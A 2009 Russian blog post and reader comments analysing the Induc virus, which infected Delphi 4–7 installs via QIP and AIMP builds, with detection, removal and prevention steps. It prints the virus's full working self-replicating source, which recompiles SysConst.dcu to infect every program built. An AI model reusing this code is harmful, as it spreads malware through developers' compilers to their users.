12 августа 2009 г.

Delphi-“вирус”: проверьте свою установленную Delphi!

ПРИМЕЧАНИЕ: Это первый вариант поста. Рекомендую вместо него читать "Virus.Win32.Induc.a: энцать дней спустя (FAQ)" - содержит больше информации (с обновлениями), более упорядочен. Этот же пост представляет уже только исторический интерес.

Сегодня обнаружил довольно интересную вредоносную бяку, специфичную именно для Delphi. Это весьма простой, написанный на Delphi, саморазмножающийся код, который иначе как “вирусом” назвать нельзя. Особенность его в том, что он поражает только установленные Delphi версий 4-7 (включительно), так что любая программа, скомпилированная в “поражённых” Delphi, будет содержать в себе копию этого вредоносного кода и заражать любые другие найденные Delphi.


Для тех, кто не сильно хочет вникать в детали, вот краткая выдержка (окей, я просто адаптировал объявление с DK, но для надёжности вам лучше бы прочитать пост целиком):
Суть кода в том, что заражённая программа ищет на диске установленные версии Delphi и, если находит, изменяет файл SysConst.dcu (старая версия сохраняется под именем SysConst.bak), и после этого все программы на Delphi, скомпилированные на этом компьютере, начинают точно так же заражать Delphi на тех компьютерах, где они запускаются. Распространению вируса способствовало то, что некторые версии популярного мессенджера QIP и проигрывателя AIMP оказались заражены им (команды разработчиков приносят за это свои извинения).

Пока единственный обнаруженный вредный эффект от вируса - это то, что из-за ошибки в его коде при запуске заражённой программы возникает Runtime error 3, если ключ реестра HKEY_LOCAL_MACHINE\SOFTWARE\Borland\Delphi\x.0 (x - от 4 до 7) содержит неправильное значение параметра RootDir (для правильного значение ошибки не происходит). Видимо, просто обкатывалась технология распространения вируса.

Проверьте свои установки Delphi (версий с 4 по 7 включительно) и, если найдёте у себя SysConst.bak, выполните следующие действия:
  1. Удалите SysConst.dcu
  2. Скопируйте SysConst.bak в SysConst.dcu. Важно именно скопировать, а не переименовать, чтобы SysConst.bak тоже остался на диске - это убережёт систему от повторного заражения, т.к. вирус не производит заражения, если находит SysConst.bak, считая, что свою работу он уже выполнил.
Не пытайтесь найти вирус в SysConst.pas: его там НЕТ!

Как это началось

Собственно началось всё с обсуждения странной проблемы: Run-time error 3 на, казалось бы, ровном месте. Затем участник с ником Andrey заметил, что проблема как-то связана с QIP 2005 сборки 8094, а именно: изменяется файл SysConst.dcu в папке \Lib установленной Delphi. Несколько человек после этого подтвердили это сообщение, но не стали копать дальше.
Признаться, сперва мне казалось это либо неверными выводами (я работаю в саппорте EurekaLog и тут не счесть случаев, когда человек в чём-то уверен, но на деле всё совсем не так), либо с инфицированными “настоящими” вирусами сборками с левых сайтов. Хотя изменение именно специфичного для Delphi файла выглядело очень подозрительно. Поэтому когда я приступил к проверке, то для себя я остановился на варианте забытого отладочного кода в QIP или чем-то подобном (я знал, что QIP написан на Delphi).

Однако, установив QIP, скачанный с официального сайта, я убедился в том, что он (сам qip.exe) действительно изменяет файлы SysConst.dcu в папках \Lib установленных Delphi версий 4-7, создавая резервную копию в виде файла SysConst.bak. Я проверял, установив его на WinXP VMWare с установленными Delphi всех версий (кроме 1, разумеется). Подтвердив проблему, я запостил вот эту тему на форуме QIP.

Что это такое

Ну а дальше – надо было просто поглубже копнуть, чтобы посмотреть, что же именно за изменение вносится в SysConst.dcu. В итоге и был обнаружен этот вредоносный код, который выглядит примерно вот так:
uses windows;

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s);  if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.',
'wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3,',
'0,0);  if  h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var  k:HKEY;c:array [1..255] of',
'char;  i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

function x(s:string):string;
var 
  i:integer;
begin 
  for i:=1 to length(s) do 
    if s[i]=#36 then s[i]:=#39;
  result:=s;
end;

procedure re(s,d,e:string);
var
  f1,f2:textfile;
  h:cardinal;
  f:STARTUPINFO;
  p:PROCESS_INFORMATION;
  b:boolean;
  t1,t2,t3:FILETIME;
begin
  h:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h<>DWORD(-1) then
  begin
    CloseHandle(h);
    exit;
  end;
  {'I-}assignfile(f1,s);
  reset(f1);
  if ioresult<>0 then
    exit;
  assignfile(f2,d+'pas');
  rewrite(f2);
  if ioresult<>0 then 
  begin 
    closefile(f1); 
    exit; 
  end;

  while not eof(f1) do
  begin
    readln(f1,s);
    writeln(f2,s);
    if pos('implementation',s)<>0 then
      break;
  end;

  for h:= 1 to 1 do
    writeln(f2,sc[h]);
  for h:= 1 to 23 do
    writeln(f2,''''+sc[h],''',');
  writeln(f2,''''+sc[24]+''');');
  for h:= 2 to 24 do
    writeln(f2,x(sc[h]));
  closefile(f1);
  closefile(f2);
  {'I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
  fillchar(f,sizeof(f),0);
  f.cb := sizeof(f);
  f.dwFlags := STARTF_USESHOWWINDOW;
  f.wShowWindow := SW_HIDE;
  b := CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
  if b then
    WaitForSingleObject(p.hProcess,INFINITE);
  MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
  DeleteFile(pchar(d+'pas'));
  h := CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if h=DWORD(-1) then
    exit;
  GetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
  h := CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
  if h=DWORD(-1) then
    exit;
  SetFileTime(h,@t1,@t2,@t3);
  CloseHandle(h);
end;

procedure st;
var  
  k:HKEY;
  c:array [1..255] of char;
  i:cardinal;
  r:string;
  v:char;
begin
  for v:='4' to '7' do
    if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY_READ,k)=0 then
    begin
      i:=255;
      if RegQueryValueEx(k,'RootDir',nil,@i,@c,@i)=0 then
      begin
        r:='';
        i:=1;
        while c[i]<>#0 do
        begin
          r:=r+c[i];
          inc(i);
        end;
        re(r+'\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.exe" ');
      end;
    RegCloseKey(k);
  end;
end;

begin
  st;
end.
Весьма несложный код и вы можете разобраться с тем, что он делает, самостоятельно.
Во-первых, он проверяет, не установлена ли на машине Delphi (перебор ключей реестра в procedure st). Если да, то код берёт файл SysConst.pas, дописывает в него себя и компилирует с помощью Delphi-же, помещая новый (уже инфицированный) dcu в папку \Lib (предварительно сделав копию, которая одновременно служит признаком инфицирования), а изменённый pas-файл – удаляет.
Откуда берётся этот самый run-time error 3, который позволил обнаружить этот вредоносный код? Ну, в код закралась ошибочка: если в реестре записан какой-либо неверный путь (например, раньше стояла Delphi 6, а теперь её нет, но ключ остался), то код вылетает вот тут:
  {'I-}assignfile(f1,s);
  reset(f1); // <- возбуждается исключение, если в s записан неверный путь
При вызове reset возбуждается исключение, которое при не инициализированном SysUtils приводит в выбросу ошибки run-time error 3. Интересно, что от этой ситуации должна была защищать директива {$I-} и обработка IOResult, но поскольку автор неудачно выбрал именно символ $ как служебный (в константе sc вместо апострофа), то обратный патч строки превратил {$I-} в {'I-}, что и привело к этой ошибке.

Насколько это серьёзно

Ну, если говорить о популярности этой бяки, то я сделал быстрый QIP-опрос знакомых дельфистов и у примерно 30% из них оказалась эта бяка. Т.е. если учитывать, что не у всех стоят старые Delphi, то среди D7-ков эта штука вполне может быть неплохо распространена.
Если говорить о конкретном вреде, то этот вирус безобиден, т.к. не делает ничего, кроме размножения. От него не было бы вообще никакого отрицательного эффекта, если бы не вышеуказанная “досадная” ошибка в коде, приводящая к Runtime error 3 на редких машинах.
Собственно пишу я этот пост не потому, что это так уж серьёзно, а, скорее, потому, что это довольно любопытная вещь. Ну и предупредить, конечно: эвон чего бывает. В следующий раз, если вдруг столкнётесь с его братом, будете в курсе.

Кто виноват и что делать

В топике также сообщили о наличии этой же проблемы у некоторых версий популярного проигрывателя AIMP. Ну, быстрый поиск в интернете показал, что подвержены этой пакости оказались не только QIP и AIMP, но и другие программы. Например, вот тут в комментариях сообщается о заражении некоторых плагинов к Miranda. Понятно, что сами программы тут не причём – просто была заражена Delphi, на которых выполнялась сборка дистрибутивов. Увы, антивирусы такие “высокоуровневые вирусы” не ловят (хорошо бы, кстати, отправить этот код разработчикам какого-нибудь антивируса).

Ну, собственно, что вы можете сделать: если вы используете Delphi 4 – Delphi 7, то проверьте свои Delphi, не инфицированы ли они. Посмотрите в папку \Lib: если там есть файл SysConst.bak, то вы заражены (*).

Что делать, чтобы избавиться от вируса? Удалите файл SysConst.dcu, а затем на его место скопируйте SysConst.bak, т.е.: SysConst.bak –> SysConst.dcu. Помимо избавления от вируса, это также предотвратит повторное заражение. Ну, лучше всего, конечно, взять .dcu файл с дистрибутива - для надёжности (мало ли, вдруг .bak файл тоже оказался изменён).

Если вы не заражены, то вы можете предотвратить заражение в будущем (разумеется, только этим, конкретным вариантом кода), сделав что-либо из следующего (на ваш выбор, можно несколько сразу):
  • Создайте файл SysConst.bak (содержимое не важно) в папках \Lib установленных Delphi. Работоспособность основывается на том факте, что вирус сперва проверяет наличие SysConst.bak. И если он есть – то ничего не делает, считая, что он уже инфицировал эти Delphi.
  • Просто запретить доступ на изменение папки \Lib (ну и \Source до кучи) вообще всем (даже админам). Ну, это не даст вирусу менять файлы, но при этом на Delphi не встанут апдейты, но это вполне действенно. Можно в принципе дать права на запись отдельной учётке и все апдейты запускать из-под неё. Ну или менять права перед установкой апдейтов и возвращать после.
  • Работать в системе “как полагается”: т.е. не под админом и программы ставить в Program Files. Благодаря этому у обычного пользователя не будет прав на запись в папку, так что ваши файлы останутся в неприкосновенности. А апдейты для Delphi вы всё равно под админом запускать будете. Ну, раньше я уже говорил про Vista-у и пользу UAC в частности. Вот это как раз пример для этого случая.
Замечу, что подобной простой панацеи для уже скомпилированных в заражённой Delphi файлов нет: вам придётся пересобрать их заново. А чтобы определить, какие файлы заражены: запустите поиск по диску всех файлов, содержащих любую "говорящую" подстроку из константы, например: "CreateFile(pchar(d+$bak$),0,0,0,3,0,0)" (без кавычек, разумеется). Также это поможет найти, кто же принёс на вашу машину эту бяку: если вы нашли инфицированный файл, собранный не вами, то это и есть виновник проблем на вашей машине.

Ну, лично мне все эти проблемы по барабану, т.к. я:
  • Работаю в Vista и Delphi стоит в Program Files, что значит, что её файлы защищены ACL списками.
  • Использую D2007 и D2009, а конкретно этот товарищ инфицирует только D4-D7.
  • Не использовал инфицированные варианты QIP и AIMP (ну, тут просто повезло).
Но то, что эти проблемы мне не грозят, не значит, что о них не надо сказать: кто предупреждён, тот вооружён. Удачи :)

Примечания:
(*) Ну, на самом деле, наличие файла SysConst.bak ещё не говорит со 100% точностью о заражении. Вы вполне могли создать этот файл сами или он был создан каким-нибудь вполне легитимным патчем. Чтобы убедиться на 100%, откройте файл SysConst.dcu (dcu, а не bak, т.к. в bak-е лежит девственный оригинал) в блокноте или по F3 в двух-панельном менеджере и поищите строчку “closefile(f2);” (без кавычек, разумеется). Если нашли – то ваша Delphi точно заражена. Таким же образом можно проверить и собранный exe-файл. Но проверка на SysConst.bak не даёт гарантии от поражения аналогичными вирусами. Конкретно этот экземпляр выдаёт себя наличием файла SysConst.bak. Другие могут не быть столь беспечны, поэтому 100% надёжный способ - сравнить папки \Lib и \Source с дистрибутивными: поставьте куда-нибудь чистую Delphi на чистую машину (лучше всего с read-only сидюка или ISO-образа) и сравните свои папки с чистыми. Только убедитесь, что сервис-паки и апдейты совпадают.

Читать далее.

72 комментария :

  1. Александр, спасибо за предупреждение !
    К счастью, у меня вирус не обнаружен.

    Теперь можно ожидать лавину вирусов такого типа, поражающих все версии Delphi !
    Ведь так можно инфицировать любую библиотеку Delphi ! Любители "вредногокодаписательства" не преминут воспользоваться.

    ОтветитьУдалить
  2. Вот один из немногих людей, которые не стали плакать, что разработчики QIP-а (бедные, опять им достанется) или AIMP-а такие плохие. Александр просто взял и описал проблему и то, как её устранить. Спасибо за пост.

    ОтветитьУдалить
  3. На работе у меня всё чисто, но спасибо за предупреждение :) Интересный анализ.

    Если по сути - подобные вирусы оч и оч опасные: если создать подобные модификации для других сред разработки, то получится, что любой программист невольно станет вирусописателем.

    ОтветитьУдалить
  4. Я отправил пример инфицированного файлика разработчикам Касперского - посмотрим, что скажут. Пытался сделать то же для Symantec-а (я им пользуюсь) - не нашёл на сайте пункта "отправить на рассмотрение" :( Надо в GUI поискать ещё.

    >>> Теперь можно ожидать лавину вирусов такого типа, поражающих все версии Delphi!
    Ну вот это уж очень маловероятно. Ведь таким типам вируса для размножения требуется установленный компилятор.

    ОтветитьУдалить
  5. Кстати, тут проскочила информация, что заражены также некоторые плагины к Миранде, писанные на Delphi.

    ОтветитьУдалить
  6. Не понимаю, чего все начали пинать именно разрабов квипа - ведь благодаря популярности их программы и была выявлена эта пакость. Ну да, повезло, что она ничего не делает, но всё же - не один же QIP инфицирован. И никто не почесался ведь.
    А ведь не заметь товарищ этого поведения QIP - сколько это ещё бегало бы по сети...

    ОтветитьУдалить
  7. >Ну да, повезло, что она ничего не делает, но всё же - не один же QIP инфицирован.
    Если бы делал то его бы поймала эвристика, а так поскольку безвредный то и антивири его не трогают

    ОтветитьУдалить
  8. > Не понимаю, чего все начали пинать именно разрабов квипа - ведь благодаря популярности их программы и была выявлена эта пакость.
    Имхо: Бездельники любят злорадствовать над теми кто что-то делает, и делает хорошо.

    ОтветитьУдалить
  9. Спасибо еще раз, что решили разобраться дотошно. Я сначала грещил на старую винду и невозможность прочитать ключ из реестра.
    А то, что все взъелись на QIP - ну так что ж, судьба у нас такая, сейчас это модно =)

    ОтветитьУдалить
  10. Зря я вообще запостил эту тему на QIP-ском форуме. Надо было бы сперва дожать до конца, да в личку скинуть. Решили бы по-тихому.

    >>> А то, что все взъелись на QIP - ну так что ж, судьба у нас такая, сейчас это модно =)
    Взъелись - значит используют. Хороший признак :) Гораздо хуже, когда вообще нет никакого feedback-а от пользователей. Хотя... может быть, кому-то это просто надо.

    ОтветитьУдалить
  11. Любопытно, что, судя по диапазону Delphi: D4-D7, писалось это эдак лет 7 назад. И до сих пор живо и бегает... и даже антивирусы его игнорируют.

    ОтветитьУдалить
  12. Да ничего, мы люди привыкшие. на хабре нас сильно любят =)

    ОтветитьУдалить
  13. Нашли машину зараженную (судя по дате изменения dcu-шки) в августе 2008 года о_О Так что вирусняга бегает минимум год...

    PS Сам писал нечто подобное в студенческие годы, но не распространял, да и реализовано было сильно иначе. Так что не мое.

    PS2 Вы еще работаете под админом? Тогда все вирусы будут в гости к Вам...

    ОтветитьУдалить
  14. > Зря я вообще запостил эту тему на QIP-ском форуме. Надо было бы сперва дожать до конца, да в личку скинуть. Решили бы по-тихому.
    Очень даже не зря. К чртоу реутацию Qip-а, если может пострадать репутация Delphi. Имхо чем больше Delphi программеров узнает тем лучше.

    > Любопытно, что, судя по диапазону Delphi: D4-D7, писалось это эдак лет 7 назад. И до сих пор живо и бегает...
    Шальная мысль в голову приходит. А что если, это один из способов выгнать разработчиков со старой версии Delphi на более новую? :D

    ОтветитьУдалить
  15. Эта бяка не шифруясь минимум год незамеченной размножалась, а вдруг "взрослая" версия с полезной нагрузкой и полиморфным кодом уже живёт в какой-нибудь IDE поновее? Страшно, мне вдруг дико захотелось перехэшировать файлы RadStudio и сравнить с оригиналом. Кстати, Rustock никому не напоминает ;)?

    >Шальная мысль в голову приходит. А что если, это один из способов выгнать разработчиков со старой версии Delphi на более новую? :D
    Агенты ZOG везде :)

    ОтветитьУдалить
  16. Я давно говорил - QIP до добра не доведет. У меня у заказчиков он стоит поголовно, и при передаче файлов автоматом дописывает их к существующим с таким именем :( Я устал юзверкам уже объяснять, что надо удалять эти файлы...
    А тут взял QIP и программерам напакостил :(
    P.S. Спасибо за инфу - я у себя ни чего не обнаружил

    ОтветитьУдалить
  17. Те, кто пользуется Turbo Pascal могут проверить на практически аналогичный код модуль CRT. Если в дефолтной системной библиотеке его два экземпляра - вам привет из прошлого столетия.

    ОтветитьУдалить
  18. Да, появилось после обновления QIP8094.
    Уже всё востановленно в папке Lib.
    А что там с QIP не известно. Через RegMonitor проверил куда QIP лезет, в ветку борланда.
    Всё.

    ОтветитьУдалить
  19. Лет 10 назад я предложил технологию заражения текстовых программных файлов. Это было сделано для обеспечения безопасности некоторых систем. Описанная бяка очень похожа на мою "бяку", но очень примитивна. У меня предполагалось заражение файлов типа *.pas.
    Заранее сообщаю - я не вирусописатель.

    ОтветитьУдалить
  20. Данилову в DrWeb?

    ОтветитьУдалить
  21. ACL не поможет, если вы зараженную прогу установите. Установка требует прав админа, и нередко запускает прогу с ключами инициализации. Жаль что они не удосужились сделать QIP-orig рабочим под ограниченным акком.

    ОтветитьУдалить
  22. У меня была эта бяка. А как проверить через что заражен был?

    ОтветитьУдалить
  23. >>> Данилову в DrWeb?
    Я думаю, если вы отправите - это точно не помешает.
    Пусть лучше за этим следит штатный антивирус, чем самодельные средства.

    >>> А как проверить через что заражен был?
    Никак.
    Только если вы не нашли у себя заражённый файл, но скомпилированный не вами.

    ОтветитьУдалить
  24. Есть информация, что этот вирус был идентифицирован Лабораторией Касперского как Virus.Win32.Delfer.b.

    Не могу проверить, т.к. нет установленного антивиря Касперского, а online-вариант его не находит.

    ОтветитьУдалить
  25. Подтверждаю, сто ЛКасперского добавили вчера этот файл в базу и он детектируется. Сам вчера отсылал заражённый *.dcu файл.

    ОтветитьУдалить
  26. Спасибо за инфу.

    Кстати, вон по той ссылочке выше видно, что первый вариант нашли ещё в 2005-м году (ну, может это и не его вариант, а просто похожая бяка - не в курсе, как там касперский номера присваивает).

    ОтветитьУдалить
  27. Спасибо!
    нашёл у себя. Дата изменения 2002-й год!

    ОтветитьУдалить
  28. Хм, не знаю как насчёт Virus.Win32.Delfer.b, но вот сейчас online сканнер определил заражённый файл, как инфицированный Virus.Win32.Induc.a.

    Посылал также файлик на анализ в Symantec (там надо было сперва файл в каранин положить, а потом отправить на рассмотрение), а оттуда пришёл ответ: "D:\VMWareShared\Project1.exe contains no malicious code, although it may be a nuisance. It is safe to delete this file". Вот так-то :D Сегодняшние базы его не берут.

    ОтветитьУдалить
  29. D7 стоит давным-давно, к интернету подключен постоянно и квип стоит. Вируса не обнаружил. Повезло.

    ОтветитьУдалить
  30. Ох, спасибо за пост. А я по незнанию в Касперский и ДрВеб уже отправил скомпилированную программу, в которой, как я думал, нету вирусов...

    ОтветитьУдалить
  31. За QIP с одной стороны обидно, а с другой - мир у нас сейчас такой - может, это банально пиар-акция QIP?
    У меня, как у программиста на Делфи, тоже эта бяка поселилась.
    Я бы это вирусом не называл. А вот технология полиморфного размножения в делфи-библиотеках - это, конечно, клево придумали! Когда читал код - удивлялся и говорил "Браво!" создателям. Интересно только, кто его создал? Неужто америкосы? (из-за зловредного бакса, который все попалил) И просто интересно: откуда появился исходник виря? Это типа отладку проги сделали

    ОтветитьУдалить
  32. Я не понимаю, чего все к квипу-то привязались? Сколько в сети доступна была сборка 8094? Несколько месяцев? А эта зараза, видимо, уже несколько лет по сети гуляет. Видать, ругать квип - это модно. Пробежался сейчас по интернету: на куче форумов вижу выкрики типа "миранда - это наше всё!", т.е. на инфицированные мирандовские плагины глаза закрыть можно, а на QIP - нет. Мдааа...

    Кстати, если я ничего не напутал, вот запись о этом вирусе в блоге Касперского антивируса.

    ОтветитьУдалить
  33. Ну вот и F-Secure зашевелились http://www.f-secure.com/weblog/archives/00001752.html
    Как я понял они этот вирус сами выявили :)
    Вы, Александр, всего-лишь пришли к такому-же выводу :)

    ОтветитьУдалить
  34. > Вы, Александр, всего-лишь пришли к такому-же выводу :)
    Ну-ну :)

    Цитата:
    Программное ядро Антивируса Касперского используют в своих продуктах такие разработчики, как: ... F-Secure (Финляндия)...

    С учётом того, что Касперскому пример постил лично я, то...

    ОтветитьУдалить
  35. Это же финны - несколько дней ушло на раскраску кода :)

    ОтветитьУдалить
  36. Раздули из мухи слона.
    Delphi и так не шибко популярный продукт, а тут интегрированная среда прямо "разносчик вирусов". И кто будет разбираться какая это Delphi - Borland, CodeGear, Embarcadero? Думаю, на репутации Delphi, в том числе и 2010 (может из-за "вируса" обратный счетчик убрали ;-) ), эта шумиха скажется не в лучшую сторону.

    ОтветитьУдалить
  37. В очередной раз подтвердилась "супер-гипер-мега-ультра" эвристика антивирусов - причем всех !
    Ни один из антивирусов на VirusTotal не определил этот вирус, скомпилированный Delphi 2009.

    ОтветитьУдалить
  38. > В очередной раз подтвердилась "супер-гипер-мега-ультра" эвристика антивирусов - причем всех!
    > Ни один из антивирусов на VirusTotal не определил этот вирус, скомпилированный Delphi 2009.

    Ну так о чём речь и идёт: единственный надёжный способ защиты - это держать папки \Lib и \Source под контролем.
    Кто знает, сколько ещё подобной бяки может гулять. Эту-то нашли только потому, что в ней был баг с Runtime error 3. А если его не будет?

    ОтветитьУдалить
  39. > Раздули из мухи слона.
    > Delphi и так не шибко популярный продукт.
    Ну а что мешает переписать это под MSVS C++? Жизнеспособность идеи один неизвестный умелец уже доказал.

    ОтветитьУдалить
  40. Вот и Marco Cantu написал о вирусе в своём блоге.
    Теперь ссылаясь на антивирусных экспертов из Sophos Lab.

    Александр, о Вас должен знать весь мир !
    Подайте на них всех в суд :)

    ОтветитьУдалить
  41. Помнится в давно, к сожалению, закрытом журнале "Монитор" рекламировался антивирус, в котором пользователь мог сам добавлять сигнатуры вирусов. Была реализована весьма гибкая система шаблонов.
    Жаль что идея умерла.

    P.S. И вновь на VirusTotal ноль угроз от вируса на Delphi 2009.

    ОтветитьУдалить
  42. > Да я как-бы не претендую ;)

    Я Марко написал разъяснительную. И в F-Secure писал, и ещё кому-то. И каждый раз когда писал, думал, как бы тебя лучше обозвать "virus founder" или "virus discoverer". :D

    ОтветитьУдалить
  43. Allen Bauer сообщает: "At this point, here at Embarcadero, we’re actively analyzing situation and overall impact to our community. We’re also working on recommendations about how to find out if you’re infected and what to do once you see that you are. Throughout all this we’re working on recommended steps can you take to guard against re-infections. Rest assured that we’re neither ignoring this threat, nor are we going to do anything to blow it out of proportion. All signs indicate this is a serious and credible threat and users should remain diligent in ensuring that they either install or update their virus scanners.
    ...
    What we’re working on is a response that includes ways that our customers can appropriately guard against any future attacks. Maybe this will include code and utilities for them to use, or maybe it will only be a set of guidelines and steps."

    ОтветитьУдалить
  44. Что переводится(могли бы и сами вставить перевод после оригинала)как:

    "На данный момент здесь, в Embarcadero, мы активно анализировать ситуацию и общее воздействие на наши общины. Мы также работаем с рекомендациями о том, как узнать, если вы инфицированы, и что делать, когда вы видите, что вы. Во всем этом мы работаем по рекомендованным шаги можно предпринять для защиты от повторного инфицирования. Будьте уверены, что мы ни игнорировать эту угрозу, и не мы будем делать все, чтобы его удар из пропорции. Все признаки указывают на это серьезной и реальной угрозой, и пользователи должны оставаться усердным в обеспечении того, чтобы они либо установить или обновить свои вирус сканерами.
    ...
    Что мы работаем на это ответ, который включает в себя способы, что наши клиенты могут надлежащим образом защититься от любых будущих нападений. Возможно, это будет включать в себя код и коммунальные услуги для их использования, или, может быть, это будет только один набор руководящих принципов и шагов. "

    ОтветитьУдалить
  45. >>> могли бы и сами вставить перевод после оригинала

    Нет, спасибо: мне хватает работы по переводам.

    ОтветитьУдалить
  46. Если это правда, то это полный [censored]:
    "BitDefender® today announced the discovery of a threat that directly affects many applications, including TabBrowser v1.0, GreenOpen, WebMoney Keeper Classic v3.7.0.0, Tidy Favorites v4.1 and any TV Free v2.41. The applications were being distributed with the virus code already embedded, due to an unusual trick employed by the malware author or authors".

    Кто-нибудь может подтвердить?

    ОтветитьУдалить
  47. Анонимно подтверждаю, это действительно так. так же этим зараженны программы для скачки сайтов, например "Offline Explorer".

    ОтветитьУдалить
  48. Насчет WebMoney 3.7.0.1 - не подтверждаю.
    PeID говорит, что большинство модулей WebMoney написаны на C++.
    Только WebMoney.exe защищен Armadillo, а KeeperID.exe - ASProtect.
    ProcessMonitor не обнаружил обращений к ключам, содержащим Borland и \bin

    ОтветитьУдалить
  49. Что-то я не понял: как WebMoney проверяли-то? Я вот не поленился, нашёл на всяких "софтодромах" версию 3.7.0.0. Установил, держа включенным монитор. Обращения были только к HKCU\Software\Borland\Delphi\Locales (засёк 4 компонента) - всё легитимно.
    Поставил даже этот BitDefender, скачал свежие базы, прогнал скан - всё чисто.
    Похоже, кто-то врёт. Или установщик не всё установил. Может инфицированный компонент ставится только на XP, а не под Vista. Дело тёмное, короче.

    ОтветитьУдалить
  50. А касперским проверить не пробывали? Он быстро пополняет базы на новые угрозы.

    ОтветитьУдалить
  51. По-моему не упоминали большую проблему - инсталляторы.
    Не знаю как в NSIS и других популярных инсталляторах, есть ли там плагины на Delphi.
    А вот написанный на Delphi InnoSetup - это да, проблема.
    Если хотя бы один релиз выходил зараженным, то ой-ой-ой...
    Ведь не все компилируют его сами, а пользуются готовым.

    ОтветитьУдалить
  52. Спасибо автору блога. Полезная информация.

    ОтветитьУдалить
  53. автор, а вин 32 индук
    блокирует загрузку сайтов avast.com
    и подобных?
    заражен этим вирусом и сайты тоже заблочены

    ОтветитьУдалить
  54. Нет !!!
    Это у вас другие вирусы живут, или файл HOST изменён.

    ОтветитьУдалить
  55. короче у меня был этот вирус и другие
    хостс файл небыл изменен - браузер просто автоматом закрывался
    в сэйф моде
    скачал др веб куре ит
    и проверил комп - был
    Trojan.Mulldrop

    ОтветитьУдалить
  56. Выпустил вторую часть с суммированием последней информации.

    ОтветитьУдалить
  57. GSA has developed a freeware tool that could remove the Win32/Induc.A virus completely from executables and let you start them again without your anti virus complaining about it.

    http://www.gsa-online.de/eng/delphi_induc_cleaner.html

    ОтветитьУдалить
  58. Спасибо за статью!
    благодаря ей у меня теперь находится SysConst.dcu, и не выдаётся никаких ошибок при запуске нового проекта.

    ОтветитьУдалить
  59. Огромное спасибо за статью! Если бы не наткнулся на Вашу статью - не знал бы в чём проблема и почему мои программы являются вирусами

    ОтветитьУдалить
  60. Спасибо за статью!!!
    стопудово же вирус написал какой нибудь ламер, в данном случае спасибо этому ламеру за то что он такой ламер

    ОтветитьУдалить
  61. Virus.Win32.Induc.a 2009 год.
    последняя версия касперского
    на него уже реагирует
    даже на стадии скачивания
    качал я файл с сайта одного через opera
    (продробнее ссылка ниже с изображением реакции касперского)
    и чуть вирус Virus.Win32.Induc.a не подхватил
    тока сейчас узнал что за вирус

    ОтветитьУдалить
  62. Фу хоть у меня нету этой гадости а за исходник огромное спасибо :)

    ОтветитьУдалить
  63. нашел у себя такой, у меня из-за него на все созданные проекты аваст ругался

    ОтветитьУдалить
  64. Блин... даже не буду проверять, есть ли он у меня... Рука не поднимется удалить его. Это же гениально!

    ОтветитьУдалить
  65. у меня тоже была похожая проблема с Delphi7,при компилировании нового проекта антивирусник его определял как вирус хотя ни касперским ни нодом ни доктор вебером сам вирус ненаходился ни при проверки с самого компьютере ни при проверке жесткого диска с другого компьютера,зараженные файлы находились в папке Bin,их названия defproj.cfg и defproj.dof,при их удолее все заработало нормально,может эта инфа поможет кому

    ОтветитьУдалить